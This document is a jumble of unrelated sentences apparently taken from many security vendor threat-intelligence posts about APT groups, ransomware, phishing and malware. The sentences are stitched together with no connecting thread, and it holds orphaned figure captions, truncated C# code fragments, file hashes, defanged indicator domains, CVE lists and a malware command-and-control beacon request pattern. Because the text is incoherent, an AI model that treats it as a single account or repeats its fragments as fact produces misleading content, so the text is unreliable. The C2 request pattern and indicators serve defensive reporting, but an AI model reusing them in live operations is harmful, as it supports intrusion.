— HKTL_BROWSERPASSVIEW.GA  URLs related to the malicious update file:


In the age of work-from-home (WFH) during the pandemic, it’s possible that espionage is part of the reason that IoT devices are still major targets for advanced attackers.


You can see the path and name of the web shell.


When they did, attackers sent them phishing links in follow-on correspondence.


It also has the ability to compromise the private information of its victims by stealing web browser and instant messaging client data.


We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.


In the version that we’ve analyzed, the installer writes the token in the registry key.


Figure 13.


Apart from targeting Gmail users, Pawn Storm has also abused OAuth in credential phishing attacks against high profile Yahoo users.


Last month we tracked new scouting techniques coming from Andariel, which were used mainly against South Korean targets.


Access the unique identification number Access location information


In truth, this version has made a number of improvements, such as adding more file types to target, ignoring certain directories, and using a better encryption routine.


In the past 48 hours, there has been a flurry of activity as hardware and software vendors move to address two sets of vulnerabilities that have been dubbed “Meltdown” and “Spectre”.


When this message is received, a periodic task for sync message is set.


Malicious macro codes will download, decode, and execute the ObliqueRat malware     Figure 12 shows a summary of the ObliqueRat malware’s infection chain:      Figure 12.


However, we have yet to retrieve and study one of these plug-ins.


Figure 5.


Digging deeper, we found that it hosted several phishing pages.


Today we have released a tool that decrypts NetWire traffic and outputs any commands issued by the attacker.


What got our attention is that the samples were renamed to be similar to the naming convention of Windows update files (i.e., “Windows-KB275122-x86.exe”).


ELF AndroidOS_MtkSu.A 441d98dff3919ed24af7699be658d06ae8dfd6a12e4129a385754e6218bc24fa ELF AndroidOS_BinderExp.A ac82f7e4831907972465477eebafc5a488c6bb4d460575cd3889226c390ef8d5 ELF AndroidOS_BinderExp.A ee679afb897213a3fd09be43806a7e5263563e86ad255fd500562918205226b8 ELF AndroidOS_BinderExp.A 135cb239966835fefbb346165b140f584848c00c4b6a724ce122de7d999a3251 ELF


However, this incident has repercussions way beyond the UK airline and its customers.


used the AutoFocus threat intelligence service to identify a series of phishing attacks against Japanese organizations.


DATPER’s new mutex with separate parameters down_new


Most importantly, because the ransomware is executing with the compromised user’s privileges, any file the legitimate, now-compromised user has access to, including network shares and backups, is fair game for the ransomware.


These are known rogue applications of Pawn Storm that have been used in credential phishing attacks against high profile users (variants of these names are likely to have been used by Pawn Storm as well):  Google Defender Google Email Protection Google Scanner Delivery Service (Yahoo) McAfee Email protection (Yahoo)    For more information about Pawn Storm, check out From Espionage to Cyber Propaganda: Pawn Storm's Activities over the Past Two Years.


Tags  APT & Targeted Attacks | IoT | Research | Articles, News, Reports


Instead of using generalized themes or lures, spear phishing uses themes or lures that are in some way relevant or appropriate for the target recipient.


The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.


On the left, Confucius code, on the right, Patchwork’s code


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


Again, the response is expected to be "OK".


10. Use Smart Speakers Smartly:


The first step is to be able to identify phishing attacks and distinguish legitimate emails from malicious ones.


Kernel APC attacks occur in a way that increases the “stealth” factor and makes standard detection and prevention very difficult.


In December 2017, TAG discovered a series of campaigns from Sandworm attempting to deploy Android malware.


It takes a screenshot of the victim’s screen with the tool and saves it as a PNG file with a random number as the file name.


It allows an attacker to see all Windows sessions and can execute arbitrary commands on the session via session id.


Think about something like that happening.


This included altering the icon of the executable to appear as other file types (Figure 1) as well as decoy documents to trick users into thinking they had opened a legitimate file.


This threat actor first published stolen documents in April 2016.


By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.


1. A marked increase in the price of Monero or other cryptocurrencies will draw even more attackers into this business.


Figure 2.


It does the following for each email found: The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.


Ed:


It has the ability to further make HTTP requests based on commands received.


While Conti was recognized as being the most prolific ransomware deployed in 2021 per our 2022 Unit 42 Ransomware Threat Report, LockBit 2.0 is the most impactful and widely deployed ransomware variant we have observed in all ransomware breaches during the first quarter of 2022, considering both leak site data and data from cases handled by Unit 42 incident responders.


Figure 3.


Critical evaluation categories include:  Analytic Coverage: Enriched detections to deliver greater context to investigation by adding ATT&CK TTP mapping, improving triage for analysts.


Amnesty International has also reported on their campaigns.


Despite these measures, users still choose to open these files and enable their content, thus allowing macros to continue be a common attack vector – both in wide and simple attacks to deliver ransomware such as Emotet, as well as for sophisticated attacks like this Sofacy campaign.


Figure 8.


So how do you know that the site you’re entering card data into is safe?


Eight AV vendors correctly identified it.


In terms of the severity of the vulnerabilities themselves: they are important, but not critical.


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


GeckoHtmlElement > (


According to data analysis of ransomware groups’ dark web leak sites, LockBit 2.0 was the most impactful RaaS for five consecutive months.


Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


8b5d4840bbdce0798950cd5584e3d4564581a7698bc6cfb2892c97b826129cec  Silverlight_ins.exe


Though the fact that the malware writer obviously named the mutex by rolling their face on the keyboard made it obvious before we'd done any further analysis that we’d found a unique identifier within the binaries.


Reverse analysis of Protux’s latest version also allowed us to determine how to decrypt the C&C information, which is done in the Python code shown below.


The parameter rid is a global counter which records the number of exploitation attempts.


It is possible that other North Korean government-backed attackers have access to the same exploit kit.


While cyberattacks that threaten smart factories cannot be ignored, it can be a struggle to decipher which security method is sufficient within your organization’s specific system, as well as where to start.


Figure 1: Timeline of Hancitor campaign activity since January 2017.


The fourth version of ANEL (5.2.0 rev1) changes both the export function in the expanded main ANEL DLL and uses a different C&C server.


Credentials are harvested from dumps, purchased or spear-phished.


The attacks against Palo Alto Networks customers, which took place between early June to early July, also targeted users in East Asia; in this case an international law firm’s regional office and a major university.


This new way to generate profit had two major advantages over account takeovers:


The phishing typically started with a customized email introducing the company and its products.


And they’re developing new tools and tactics all the time to improve their monetization.


Our WildFire analysis platform has picked up 84 CryptoWall 2.0 variants since September 30, delivered primarily through e-mail attachments but also through malicious PDFs and web exploit kits.


What can AnubisSpy do?


Threat actors are notorious for creating stealthy malware that can bypass superficial network monitoring.


Blackgear’s campaigns also use email as an entry point, which is why it’s important to secure the email gateway.


Figure 15. XOR routine and svchost injection


Figure 2.


The blog post describes a web shell with two components — a PHP script and an HTML uploading file — however,  the second one is not needed as the proper POST request can be created with any custom or third-party tool (e.g., Fiddler).      Figure 6.


The PowerShell backdoor has the following capabilities.


When we analyzed further, we saw that the communication methods use files named <md5(hard disk serial number)> with various extensions depending on the purpose of the file.


It also allows multiple apps with the same certificate, if using signature-based permission checks, to expose functionality and exchange code and data amongst themselves.


It is likely that some victims are not the intended end-target, but are rather breached in order to gain access to their customers, or for example, to help bypass multi-factor authentication (MFA).


theme0.xml is a Mach-O 32-bit executable with a  0xFEEDFACE signature that is also the dropper of the backdoor, which is the final payload.


The attackers behind OSX_OCEANLOTUS.D target MacOS computers which have the Perl programming language installed.


First, it builds the hooked function and writes the function at the end of “ntdll.dll”.


Fortunately, a number of the institutions impacted by this activity have already implemented two-factor authentication for high-value resources, reducing the risk of the latter.


They attempted to evade traffic inspection by encoding the code for the scanner with base-64.


As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.


pipeCommunication.Close(); }


Security as code allows DevOps teams to bake security into their build pipeline to release continuously and frequently, so developers like yourself, can keep working without disruption from security.


The HyperBro malware family has been around since 2017 and has been extensively analyzed.


The attack flow of Earth Wendigo’s operation      Figure 2.


In addition to spear phishing emails, Earth Lusca also made use of watering hole websites — they either compromised websites of their targets or set up fake web pages copied from legitimate websites and then injected malicious JavaScript code inside them.


It is important to note however, that not all C&C websites for Urpage advertise malicious applications.


The vulnerabilities underlying these exploits included: Internet Explorer - CVE-2018-8653 Internet Explorer - CVE-2019-0676 Chrome - CVE-2019-5786 Windows Kernel - CVE-2019-0808 Internet Explorer - CVE-2019-1367 Internet Explorer - CVE-2019-1429


However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.


As previously mentioned, Water Pamola sent online shopping orders appended with a malicious XSS script to attack e-commerce administrators.


These efforts have enabled us to make near-daily updates to our platform to ensure our customers have the best protection possible.


CVE-2017-7659 7.5 mod_http2


TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.


Meanwhile, runHandle is responsible for the backdoor capabilities.


Trend Micro has been innovating for 30 years and our breadth of security products allows us to successfully build an XDR solution.


Here is a translation of the relevant section: “Well, in the end, I modified the project configuration file as below, but it doesn't seem like best practice.


Comprehensive details on both of these are available at https://meltdownattack.com.


These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.


When finished, the code performs the following.


HYPERSCRAPE won't run unless in a directory with other file dependencies.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


The victim ID will be stored in the “bps.key” file.


Software supply chains are an integral part of a large information and communications technology (ICT) supply chain framework.


File tree of the extracted TAR file Folder a


This time, we look into Urpage to gain a deeper insight into the way several threat actors' actions intersect.


The other three parameters do not appear to be used at all, as reported in the install log (by adding /L*V "C:\example.log" parameter).


Backdoor.Win64.BIOPASS.A  e52ea54cfe3afd93a53e368245c5630425e326291bf1b2599b75dbf8e75b7aeb  flashplayer_install_cn.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  f1ad25b594a855a3c9af75c5da74b44d900f6fbb655033f9a98a956292011c8e  Silverlight.exe


We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.


The command will list the installation directory of several popular instant messaging applications including WeChat, QQ, and Aliwangwang and return this information to the C&C server.


If you’ve already deployed signatures and your logs are showing attempted exploits, consider blocking or monitoring the IP addresses sending the requests.


There are many kinds of coin mining software.


Common sense is the best defense against these types of abusive programs.


Other samples also included an Excel file attachment with malicious macros that install FlawedAmmyy, or a URL included in the email that supposedly downloads the file needed to download the malware.


Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.


"It's mine, I defend everything inside" …and realizing that this is actually how cybercriminals work.


And while the computer is impacted like this, the attacker is earning money.


Many YouTube creators provide an email address on their channel for business opportunities.


New sample of Type 1 malware variant and a rootkit called Pandora found April 2020: One rootkit sample for hiding files processes, files, and services found October 2020:


This one is called “sysctrls” and it looks for files with the following extensions:


The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.


Lapsus$ Group has made headlines recently for high-profile attacks, with an apparent goal of gaining notoriety.


All of the domains currently resolve to 151.248.115.146, a Russian IP address and have WhoIs records associated with the e-mail address “ladomfichisi1987@mail.ru”.


Trojan.MSIL.OCEANMAP.A


And, as noted before, this happens without the user’s knowledge or consent.


The malware proceeds to generate a unique key that will be used in subsequent file encryption using the following data:  This data is concatenated to form a string similar to the following:  Figure 5.


Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https://sites.google[.]com/view/ty85yt8tg8-download-rtih4ithr/ https://sites.google[.]com/view/user-id-568245/ https://sites.google[.]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/  Abused Dropbox Properties: https://www.dropbox[.]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf


This plug-in can inject malicious scripts into the response of the victim’s web server by leveraging the WinDivert package, which is used to sniff and manipulate the network traffic on Windows.


Today, Palo Alto Networks researcher Claud Xiao is delivering a presentation titled “Insecure Internal Storage in Android” at the Hacks in Taiwan Conference (HITCON).  Claud is discussing techniques for accessing private data in Android’s internal storage system using the Android Debug Bridge (ADB) backup/restore functionality.